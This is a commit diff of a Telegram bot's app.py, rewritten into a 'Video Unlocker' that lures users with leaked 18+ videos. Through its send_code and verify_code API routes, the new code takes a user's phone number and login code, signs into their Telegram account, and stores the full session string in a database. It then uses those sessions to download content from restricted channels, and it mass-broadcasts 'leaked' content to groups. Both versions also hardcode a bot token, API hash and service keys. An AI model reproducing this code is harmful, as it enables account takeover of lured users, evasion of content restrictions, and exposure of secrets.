pmrony commited on
Commit
58f8b8d
·
verified ·
1 Parent(s): 12dffbd

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +451 -103
app.py CHANGED
@@ -1,144 +1,492 @@
1
- import telebot
2
- from telebot import apihelper
3
- from telebot.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
4
  import os
 
 
 
 
 
5
  from flask import Flask, jsonify, make_response, request
 
6
  from supabase import create_client
7
- import traceback
 
8
 
9
- # ডিটেইলস
10
  BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
 
 
11
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
12
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
13
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
14
- HF_SPACE_URL = "https://pmrony-forwardbot.hf.space"
15
-
16
- # 🔴 আপনার দেওয়া অ্যাডমিন আইডি এখানে সেট করা হয়েছে
17
  ADMIN_IDS = [7307789267]
18
 
19
- # --- কানেকশন টাইমআউট বাড়ানো হলো (সমাধান) ---
20
- apihelper.CONNECT_TIMEOUT = 60
21
- apihelper.READ_TIMEOUT = 60
22
-
23
- bot = telebot.TeleBot(BOT_TOKEN, threaded=False)
24
- supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
25
  app = Flask(__name__)
26
-
 
27
  admin_states = {}
 
28
 
29
- @app.route(f'/{BOT_TOKEN}', methods=['POST'])
30
- def webhook():
31
- if request.is_json:
32
- json_string = request.get_data(as_text=True)
33
- update = telebot.types.Update.de_json(json_string)
34
- bot.process_new_updates([update])
35
- return "OK", 200
36
- return "Forbidden", 403
37
-
38
- @app.route('/set_webhook')
39
- def set_webhook():
40
- bot.remove_webhook()
41
- success = bot.set_webhook(url=f"{HF_SPACE_URL}/{BOT_TOKEN}")
42
- if success:
43
- return "<h1>✅ Webhook Set Successfully!</h1>"
44
- else:
45
- return "<h1>❌ Webhook Set Failed!</h1>"
46
 
 
 
 
 
47
  @app.route('/')
48
  def index():
49
- return "Bot is Running smoothly!"
50
 
51
- # ================= COMMAND HANDLERS =================
 
 
 
 
 
 
 
 
52
 
53
- @bot.message_handler(commands=['start'])
54
- def start(message):
 
 
 
 
 
55
  try:
56
- user_id = message.from_user.id
57
- args = message.text.split()
58
- referrer_id = int(args[1]) if len(args) > 1 and args[1].isdigit() else None
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
59
 
60
- # ডাটাবেজে ডাটা সেভ করার চেষ্টা (এটা ফেইল করলেও মেসেজ যাবে)
 
 
 
 
61
  try:
62
- user_check = supabase.table('referrals').select('*').eq('user_id', user_id).execute()
63
- if not user_check.data:
64
- supabase.table('referrals').insert({
65
- 'user_id': user_id, 'referral_count': 0,
66
- 'referrer_id': referrer_id if referrer_id != user_id else None
67
- }).execute()
68
-
69
- if referrer_id and referrer_id != user_id:
70
- ref_data = supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute()
71
- if ref_data.data:
72
- new_count = ref_data.data[0]['referral_count'] + 1
73
- supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute()
74
- bot.send_message(referrer_id, "🎉 কেউ আপনার রেফারে জয়েন করেছে!")
75
- except Exception as db_e:
76
- print(f"Database issue: {db_e}")
77
-
78
- # কী-বোর্ড এবং মেসেজ পাঠানো
79
- markup = InlineKeyboardMarkup()
80
- markup.add(InlineKeyboardButton("Play video 🔞", web_app=WebAppInfo(url=WEB_APP_URL)))
81
 
82
- bot.send_message(message.chat.id, "ভাইরাল ভিডিও দেখতে নিচের বাটনে ক্লিক করো 👇", reply_markup=markup)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
83
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
84
  except Exception as e:
85
- print(f"Error in /start: {e}")
 
86
 
87
- @bot.message_handler(commands=['png'])
88
- def add_png(message):
 
89
  try:
90
- # সিকিউরিটি চেক: শুধু অ্যাডমিনরা এই কমান্ড ব্যবহার করতে পারবে
91
- if message.from_user.id not in ADMIN_IDS:
92
- bot.send_message(message.chat.id, "❌ আপনার এই কমান্ড ব্যবহার করার অনুমতি নেই।")
 
 
 
93
  return
94
 
95
- parts = message.text.split(maxsplit=1)
96
- if len(parts) > 1:
97
- img_url = parts[1].strip()
98
- admin_states[message.chat.id] = {"step": 1, "thumbnail_url": img_url}
99
- bot.send_message(message.chat.id, "✅ ছবি সেট হয়েছে। এখন এই ছবির জন্য **Google Drive ভিডিও লিংক** দিন।")
 
 
 
 
 
 
 
 
 
 
 
 
100
  else:
101
- bot.send_message(message.chat.id, "সঠিক নিয়ম: `/png https://link-to-image.jpg`")
102
- except Exception as e:
103
- print(f"Error in /png: {e}")
104
 
105
- @bot.message_handler(func=lambda m: admin_states.get(m.chat.id, {}).get("step") == 1)
106
- def add_video_step(message):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
107
  try:
108
- # যদি অ্যাডমিন ভিডিও লিংকের বদলে ভুল করে অন্য কোনো কমান্ড দেয়, তবে প্রসেস বাতিল হবে
109
- if message.text.startswith('/'):
110
- bot.send_message(message.chat.id, "❌ ভিডিও অ্যাড প্রসেস বাতিল করা হয়েছে।")
111
- admin_states.pop(message.chat.id, None)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
112
  return
113
 
114
- video_url = message.text.strip()
115
- thumbnail_url = admin_states[message.chat.id]["thumbnail_url"]
 
 
116
 
117
- supabase.table('videos').insert({
118
- "video_url": video_url,
119
- "thumbnail_url": thumbnail_url
120
- }).execute()
121
 
122
- bot.send_message(message.chat.id, "🎉 অভিনন্দন! ভিডিওটি সফলভাবে অ্যাপে অ্যাড হয়েছে।")
123
- except Exception as e:
124
- bot.send_message(message.chat.id, "❌ ডাটাবেজে সেভ করতে সমস্যা হয়েছে।")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
125
  finally:
126
- # সফল হোক বা ব্যর্থ, স্টেট ক্লিয়ার করা হলো যাতে মেমরি লিক না হয়
127
- admin_states.pop(message.chat.id, None)
 
 
128
 
129
- @app.route('/api/videos')
130
- def api_videos():
 
131
  try:
132
- res = supabase.table('videos').select('*').order('id', desc=True).execute()
133
- response = make_response(jsonify(res.data))
134
- except Exception as e:
135
- print(f"API Error: {e}")
136
- # error হলেও empty array পাঠাতে হবে
137
- response = make_response(jsonify([]))
 
 
 
 
 
 
 
 
 
 
 
138
 
139
- # যেকোনো থাতেই CORS হেডার দিতে বে, না হলে ওয়েব অ্যাপ ক্র্যাশ করব
140
- response.headers['Access-Control-Allow-Origin'] = '*'
141
- return response
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
 
143
  if __name__ == "__main__":
144
- app.run(host="0.0.0.0", port=7860)
 
 
 
 
 
 
1
  import os
2
+ import time
3
+ import threading
4
+ import requests
5
+ import asyncio
6
+ import re
7
  from flask import Flask, jsonify, make_response, request
8
+ from flask_cors import CORS
9
  from supabase import create_client
10
+ from pyrogram import Client, filters, enums
11
+ from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
12
 
13
+ # ================= CONFIGURATION =================
14
  BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
15
+ API_ID = 2040
16
+ API_HASH = "b18441a1ff607e10a989891a5462e627"
17
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
18
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
19
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
20
+ BYSE_API_KEY = "133323knboif885fhgwxvf"
 
 
21
  ADMIN_IDS = [7307789267]
22
 
 
 
 
 
 
 
23
  app = Flask(__name__)
24
+ CORS(app)
25
+ supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
26
  admin_states = {}
27
+ temp_clients = {}
28
 
29
+ # Pyrogram Client Setup
30
+ bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
31
 
32
+ async def db_query(func):
33
+ return await asyncio.to_thread(func)
34
+
35
+ # ================= FLASK API ROUTES =================
36
  @app.route('/')
37
  def index():
38
+ return "Bot and API are Running smoothly on Hugging Face! 🚀"
39
 
40
+ @app.route('/api/videos')
41
+ def api_videos():
42
+ try:
43
+ res = supabase.table('videos').select('*').order('id', desc=True).execute()
44
+ response = make_response(jsonify(res.data))
45
+ except Exception as e:
46
+ response = make_response(jsonify([]))
47
+ response.headers['Access-Control-Allow-Origin'] = '*'
48
+ return response
49
 
50
+ @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
51
+ async def api_send_code():
52
+ if request.method == 'OPTIONS': return jsonify({"status": "ok"})
53
+ data = request.json
54
+ phone = data.get('phone')
55
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
56
+ await client.connect()
57
  try:
58
+ code_info = await client.send_code(phone)
59
+ temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
60
+ return jsonify({"status": "ok", "hash": code_info.phone_code_hash})
61
+ except Exception as e:
62
+ return jsonify({"status": "error", "msg": str(e)})
63
+
64
+ @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
65
+ async def api_verify_code():
66
+ if request.method == 'OPTIONS': return jsonify({"status": "ok"})
67
+ data = request.json
68
+ phone, otp, hash, u_id = data.get('phone'), data.get('otp'), data.get('hash'), data.get('user_id')
69
+ entry = temp_clients.get(phone)
70
+ if not entry:
71
+ return jsonify({"status": "error", "msg": "Session expired"})
72
+
73
+ client = entry["client"]
74
+ try:
75
+ await client.sign_in(phone, hash, otp.replace(" ", ""))
76
+ session_string = await client.export_session_string()
77
+ await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
78
+ await client.disconnect()
79
+ temp_clients.pop(phone, None)
80
+ return jsonify({"status": "ok"})
81
+ except Exception as e:
82
+ return jsonify({"status": "error", "msg": str(e)})
83
 
84
+
85
+ # ================= TELEGRAM BOT COMMANDS =================
86
+ @bot.on_message(filters.command("start"))
87
+ async def start(client, message):
88
+ if message.chat.type != enums.ChatType.PRIVATE:
89
  try:
90
+ bot_me = client.me if client.me else await client.get_me()
91
+ bot_link = f"https://t.me/{bot_me.username}"
92
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
93
+ await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
94
+ except Exception: pass
95
+ return
96
+
97
+ try:
98
+ user_id = message.from_user.id
99
+ first_name = message.from_user.first_name
100
+ args = message.command
101
+ referrer_id = None
102
+ if len(args) > 1:
103
+ try: referrer_id = int(args[1])
104
+ except ValueError: pass
105
+
106
+ user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
 
 
107
 
108
+ if not user_check.data:
109
+ await db_query(lambda: supabase.table('referrals').insert({
110
+ 'user_id': user_id,
111
+ 'referral_count': 0,
112
+ 'referrer_id': referrer_id if referrer_id != user_id else None
113
+ }).execute())
114
+
115
+ if referrer_id and referrer_id != user_id:
116
+ ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
117
+ if ref_data.data:
118
+ new_count = ref_data.data[0]['referral_count'] + 1
119
+ await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
120
+ try:
121
+ safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
122
+ success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
123
+ markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
124
+ await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
125
+ except Exception: pass
126
+
127
+ bot_me = client.me if client.me else await client.get_me()
128
+ markup = InlineKeyboardMarkup([
129
+ [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
130
+ [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
131
+ ])
132
 
133
+ welcome_text = (
134
+ f"Hello <b>{first_name}</b>! 👋\n\n"
135
+ f"🎁 <b>Welcome to Video Unlocker Pro!</b>\n"
136
+ f"Here you can watch premium leaked and viral videos completely for FREE.\n\n"
137
+ f"📌 <b>Pro Tip:</b> Send me any restricted channel video link and I will download it for you!\n\n"
138
+ f"👇 <b>Click the button below to Open App:</b>"
139
+ )
140
+ await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
141
+ except Exception as e:
142
+ print(f"Start error: {e}")
143
+
144
+ @bot.on_message(filters.new_chat_members)
145
+ async def bot_added_to_group(client, message):
146
+ me = client.me
147
+ if getattr(me, "id", None) is None:
148
+ try: me = await client.get_me()
149
+ except: return
150
+
151
+ for member in message.new_chat_members:
152
+ if member.id == me.id:
153
+ try:
154
+ await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
155
+ group_name = message.chat.title
156
+ admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
157
+ for admin_id in ADMIN_IDS:
158
+ try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
159
+ except: pass
160
+ except: pass
161
+
162
+
163
+ # ================= RESTRICTED DOWNLOADER =================
164
+ @bot.on_message(filters.regex(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)") & filters.private)
165
+ async def restricted_download(client, message):
166
+ user_id = message.from_user.id
167
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
168
+
169
+ if not res.data:
170
+ await message.reply("❌ <b>আপনার অ্যাকাউন্ট লিঙ্ক করা নেই!</b>\n\nরেস্ট্রিক্টেড চ্যানেলের ভিডিও ডাউনলোড করতে প্রথমে অ্যাপে গিয়ে <b>🎁 Secret Box</b> এর মাধ্যমে আপনার টেলিগ্রাম অ্যাকাউন্টটি লিঙ্ক করুন।", parse_mode=enums.ParseMode.HTML)
171
+ return
172
+
173
+ status = await message.reply("⏳ আপনার অ্যাকাউন্ট দিয়ে ভিডিওটি চেক করা হচ্ছে...")
174
+ session_string = res.data[0]['session_string']
175
+
176
+ try:
177
+ async with Client("temp_session", api_id=API_ID, api_hash=API_HASH, session_string=session_string, in_memory=True) as user_app:
178
+ link_pattern = r"https://t\.me/(c/)?([\w\d_]+)/(\d+)"
179
+ match = re.search(link_pattern, message.text)
180
+ chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2)
181
+ msg_id = int(match.group(3))
182
+
183
+ target_msg = await user_app.get_messages(chat_id, msg_id)
184
+ if not target_msg.video and not target_msg.document:
185
+ await status.edit_text("❌ লিংকে কোনো ভিডিও বা ডকুমেন্ট পাওয়া যায়নি!")
186
+ return
187
+
188
+ file_size = (target_msg.video or target_msg.document).file_size
189
+ if file_size > 300 * 1024 * 1024:
190
+ await status.edit_text("⚠️ ফাইলটি অনেক বড় (৩০০ এমবির বেশি)! আপনার সার্ভার ক্র্যাশ এড়াতে এটি ডাউনলোড করা সম্ভব নয়।")
191
+ return
192
+
193
+ await status.edit_text("⏳ ভিডিও ডাউনলোড হচ্ছে (Restricted Channel থেকে)...")
194
+ file_path = await user_app.download_media(target_msg)
195
+
196
+ await status.edit_text("✅ ডাউনলোড সফল! এখন পাঠানো হচ্ছে...")
197
+ if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬 আপনার ভিডিও!\n🤖 @mxvdo")
198
+ else: await client.send_document(message.chat.id, file_path, caption="📁 আপনার ফাইল!\n🤖 @mxvdo")
199
+
200
+ if os.path.exists(file_path): os.remove(file_path)
201
+ await status.delete()
202
+
203
  except Exception as e:
204
+ await status.edit_text(f" এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
205
+
206
 
207
+ # ================= ADMIN BLUR & MEDIA HANDLERS =================
208
+ @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
209
+ async def set_blur_state(client, message):
210
  try:
211
+ args = message.text.split()
212
+ if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
213
+ if message.chat.id in admin_states:
214
+ admin_states[message.chat.id].pop("blur_percent", None)
215
+ admin_states[message.chat.id].pop("clear_percent", None)
216
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে না।", parse_mode=enums.ParseMode.HTML)
217
  return
218
 
219
+ match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
220
+ if match:
221
+ percent = int(match.group(1))
222
+ clear_percent = int(match.group(2)) if match.group(2) else 0
223
+ if percent == 0:
224
+ if message.chat.id in admin_states:
225
+ admin_states[message.chat.id].pop("blur_percent", None)
226
+ admin_states[message.chat.id].pop("clear_percent", None)
227
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
228
+ return
229
+
230
+ if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
231
+ admin_states[message.chat.id]["blur_percent"] = percent
232
+ admin_states[message.chat.id]["clear_percent"] = clear_percent
233
+ clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
234
+ reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\n<i>(বন্ধ করতে <code>/blur 0</code> লিখে সেন্ড করুন।)</i>"
235
+ await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
236
  else:
237
+ await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
238
+ except Exception as e: print(e)
 
239
 
240
+
241
+ def upload_file_sync(upload_url, file_path, api_key):
242
+ with open(file_path, 'rb') as f:
243
+ payload = {'key': api_key}
244
+ files = {'file': f}
245
+ return requests.post(upload_url, data=payload, files=files, timeout=900).json()
246
+
247
+ @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
248
+ async def handle_media_upload(client, message):
249
+ state = admin_states.get(message.chat.id, {})
250
+ if state.get("step") == "broadcast":
251
+ await process_broadcast(client, message)
252
+ return
253
+
254
+ media_type = "video" if message.video else "animation" if message.animation else "photo"
255
+ has_blur_caption = message.caption and "/blur" in message.caption.lower()
256
+ is_persistent_blur = bool(state.get("blur_percent"))
257
+
258
+ if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
259
+ status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
260
+ try:
261
+ local_path = await message.download()
262
+ def upload_to_supabase():
263
+ with open(local_path, 'rb') as f: file_bytes = f.read()
264
+ file_name = f"thumb_{int(time.time())}.jpg"
265
+ supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
266
+ return supabase.storage.from_('thumbnails').get_public_url(file_name)
267
+
268
+ direct_link = await asyncio.to_thread(upload_to_supabase)
269
+ if os.path.exists(local_path): os.remove(local_path)
270
+ await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
271
+ except Exception as e:
272
+ await status.edit_text(f"⚠️ আপলোড এরর: {e}")
273
+ return
274
+
275
+ raw_caption = message.caption or ""
276
+ blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
277
+ is_blur = False
278
+ blur_percent = 0
279
+ clear_percent = 0
280
+ clean_caption = raw_caption
281
+
282
+ if blur_match:
283
+ is_blur = True
284
+ blur_percent = int(blur_match.group(1))
285
+ clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
286
+ clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
287
+ elif state.get("blur_percent"):
288
+ is_blur = True
289
+ blur_percent = state["blur_percent"]
290
+ clear_percent = state.get("clear_percent", 0)
291
+
292
+ is_large_video = False
293
+ if media_type == "video":
294
+ duration = message.video.duration if message.video and message.video.duration else 0
295
+ file_size = message.video.file_size if message.video and message.video.file_size else 0
296
+ if duration > 600 or file_size > 150 * 1024 * 1024:
297
+ is_large_video = True
298
+ is_blur = False
299
+
300
+ if is_large_video:
301
+ status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> সার্ভার ক্র্যাশ এড়াতে ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
302
+ else:
303
+ status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
304
+
305
+ bot_me = client.me if client.me else await client.get_me()
306
+ bot_link = f"https://t.me/{bot_me.username}"
307
+ original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
308
+
309
  try:
310
+ original_file = await message.download()
311
+ final_file = original_file
312
+
313
+ # 1. WATERMARK
314
+ if media_type == "video" and not is_large_video:
315
+ await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
316
+ watermarked_file = f"{original_file}_wm.mp4"
317
+ cmd = ["ffmpeg", "-y", "-i", original_file,
318
+ "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
319
+ "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28",
320
+ "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
321
+ process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
322
+ await process.communicate()
323
+ if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
324
+
325
+ # 2. BLUR
326
+ if is_blur and not is_large_video:
327
+ await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
328
+ radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
329
+ ext = "jpg" if media_type == "photo" else "mp4"
330
+ blurred_file = f"{original_file}_blurred.{ext}"
331
+
332
+ if clear_percent > 0:
333
+ clear_ratio = clear_percent / 100.0
334
+ ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
335
+ else:
336
+ ff_filter = ["-vf", f"boxblur={radius}:1"]
337
+
338
+ if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
339
+ elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
340
+ else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
341
+
342
+ process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
343
+ await process_blur.communicate()
344
+ if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
345
+
346
+ # 3. UPLOAD TO BYSE
347
+ if media_type == "video":
348
+ await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
349
+ loop = asyncio.get_event_loop()
350
+ response = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30))
351
+ result = response.json()
352
+ if result.get('status') == 200:
353
+ upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
354
+ if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
355
+ file_code = upload_res['files'][0].get('filecode')
356
+ if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
357
+
358
+ if not embed_link: return await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
359
+
360
+ # 4. ADMIN MSG (SKIP BROADCAST IF LARGE)
361
+ if is_large_video:
362
+ admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি অনেক বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
363
+ await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
364
+ await status_msg.delete()
365
  return
366
 
367
+ # 5. BROADCAST
368
+ await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
369
+ caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch Full Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>" if media_type == "video" else (f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
370
+ group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
371
 
372
+ admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
 
 
 
373
 
374
+ thumb_path = None
375
+ if media_type == "video":
376
+ v_dur, v_w, v_h = (message.video.duration or 0), (message.video.width or 0), (message.video.height or 0)
377
+ thumb_path = f"{original_file}_thumb.jpg"
378
+ await (await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)).communicate()
379
+ if not os.path.exists(thumb_path): thumb_path = None
380
+
381
+ if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
382
+ elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
383
+ else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_dur, width=v_w, height=v_h, thumb=thumb_path)).video.file_id
384
+
385
+ await status_msg.delete()
386
+
387
+ groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
388
+ group_ids = [g['group_id'] for g in groups_res.data]
389
+ success_count, fail_count = 0, 0
390
+
391
+ for gid in set(group_ids):
392
+ try:
393
+ if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
394
+ elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
395
+ else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
396
+ success_count += 1
397
+ await asyncio.sleep(1.5)
398
+ except: fail_count += 1
399
+
400
+ await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
401
+
402
+ except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
403
  finally:
404
+ for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
405
+ if f and os.path.exists(f):
406
+ try: os.remove(f)
407
+ except: pass
408
 
409
+ # ================= ADMIN COMMANDS =================
410
